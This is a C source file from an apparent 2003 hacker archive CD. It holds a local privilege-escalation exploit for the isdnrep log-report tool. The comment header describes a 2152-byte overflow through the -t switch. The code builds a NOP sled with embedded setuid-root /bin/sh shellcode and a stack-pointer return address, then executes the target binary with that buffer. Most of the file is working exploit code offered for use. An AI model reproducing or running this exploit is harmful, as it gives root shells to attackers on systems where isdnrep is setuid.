home *** CD-ROM | disk | FTP | other *** search
/ H4CK3R 14 / hacker14.iso / exploits / isdnrape / 5358isdnrape.c
Encoding:
C/C++ Source or Header  |  2003-08-20  |  2.7 KB  |  88 lines

  1. /*
  2.  
  3.   STX SECURITY LABS:
  4.  
  5.   5358isdnrape.c - x86 local buffer overflow exploit
  6.   proof of concept code by: ace [ ace@static-x.org ]
  7.   vulnerability discovered by: t0asty [ t0asty@static-x.org ]
  8.  
  9.   Description:
  10.  
  11.   isdnrep  reads  the  isdnlog log files, generates reports,
  12.   does statistics, and other things. It  can  also  generate
  13.   HTML output for use with a web server.
  14.  
  15.   Vulnerability:
  16.  
  17.   A buffer overflow vulnerability resides in isdnrep.
  18.   A segmentation fault occurs when 2152 bytes of data are sent to
  19.   the binary using the -t switch. The data overwrites the EIP therefore
  20.   it allows us to control the pointer, allowing us to execute code.
  21.   
  22.   Versions vulnerable:
  23.  
  24.   [-] All versions are believed to be vulnerable.
  25.       Tested on: isdnrep Version 4.56
  26.  
  27.   *************************************************
  28.   * Note: isdnrep may not be suid on all systems. *
  29.   *************************************************
  30.  
  31.   StTtTTtTtTTtTtTTtTtTTtTtTTtTttTtTtTTtTtTTS
  32.   X                                        X
  33.   X STX ONLINE [ www.static-x.org ]        X
  34.   X                                        X
  35.   StTtTTtTtTTtTtTTtTtTTtTtTTtTttTtTtTTtTtTTS
  36.  
  37.   *************************************************
  38.   * Note: our pen0rs are 50 x larger than yours.  *
  39.   *************************************************
  40.  
  41. */
  42.  
  43. #include <stdio.h>
  44.  
  45. char stxcode[] =
  46.  
  47.      /* ace's shellcode [ ace@static-x.org ] (setuid=0,/bin/sh) */
  48.      "\x31\xdb\x89\xd8\xb0\x17\xcd\x80\xeb\x03\x5e\xeb\x05\xe8\xf8\xff"
  49.      "\xff\xff\x83\xc6\x0d\x31\xc9\xb1\x50\x80\x36\x01\x46\xe2\xfa\xea"
  50.      "\x09\x2e\x63\x68\x6f\x2e\x72\x69\x01\x80\xed\x66\x2a\x01\x01\x54"
  51.      "\x88\xe4\x82\xed\x11\x57\x52\xe9\x01\x01\x01\x01\x5a\x80\xc2\xb6"
  52.      "\x11\x01\x01\x8c\xb2\x2f\xee\xfe\xfe\xc6\x44\xfd\x01\x01\x01\x01"
  53.      "\x88\x74\xf9\x8c\x4c\xf9\x30\xd3\xb9\x0a\x01\x01\x01\x52\x88\xf2"
  54.      "\xcc\x81\x5a\x5f\xc8\xc2\x91\x91\x91\x91\x91\x91\x91\x91\x91";
  55.  
  56.  
  57. unsigned long pen0r(void) 
  58.  
  59. {
  60.  __asm__("movl %esp, %eax");
  61. }
  62.  
  63. int main(int argc, char **argv) {
  64.  
  65.  int pos; int ace = pen0r(); int stxnop = 0x90;
  66.  int stxbytes = 2148; int stxtotal = stxbytes + 4;
  67.  char *stxbof;
  68.  stxbof = (char *)malloc(stxbytes); 
  69.  
  70.  for(pos = 0; pos < stxbytes; pos++) {*(long *)&stxbof[pos] = stxnop;}
  71.  *(long *)&stxbof[stxbytes] = pen0r();
  72.  memcpy(stxbof + stxbytes - strlen(stxcode), stxcode, strlen(stxcode));
  73.  
  74.  system("clear");
  75.  printf("#######################################\n");
  76.  printf("#        [ STX SECURITY LABS ]        #\n");
  77.  printf("#  isdnrep local poc exploit by: ace  #\n");
  78.  printf("#######################################\n\n");
  79.  printf("[+] Return Address: 0x%x\n", ace);
  80.  printf("[+] Buffer Size: %d\n", stxtotal);
  81.  printf("[-] /usr/bin/isdnrep -t pwned!\n\n");
  82.  
  83.  execl("/usr/bin/isdnrep", "isdnrep", "-t", stxbof, NULL);
  84.  
  85. return 0;
  86.  
  87. }
  88.